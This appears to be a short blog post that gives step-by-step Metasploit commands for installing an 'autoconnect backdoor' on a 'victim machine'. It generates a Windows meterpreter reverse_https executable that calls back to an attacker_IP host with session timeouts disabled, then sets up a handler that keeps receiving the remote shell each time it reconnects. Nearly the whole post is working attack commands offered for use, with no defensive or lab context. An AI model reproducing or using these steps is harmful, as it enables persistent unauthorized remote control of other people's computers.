This post will show how to install the autoconnect backdoor in victim machine.
1. Create the auto reconnect backdoor with metasploit.
msf> use payload/windows/meterpreter/reverse_https
msf> set LHOST attacker_IP
msf> set LPORT binding_port
msf> set SessionCommunicationTimeout 0
msf> set SessionExpirationTimeout 0
msf> generate -t exe -f /var/www/backdoor.exe
2. Binding receiving backdoor service.
msf> use exploit/multi/handler
msf> PAYLOAD windows/meterpreter/reverse_https
msf> set LHOST attacker_IP
msf> set LPORT binding_port
msf> set SessionCommunicationTimeout 0
msf> set SessionExpirationTimeout 0
msf> exploit -j
3. Run the exe
4. If you kill the process with exploit -j, the backdoor will reconnect to attack_ip again and again.
If you like my blog, Please Donate Me
No comments:
Post a Comment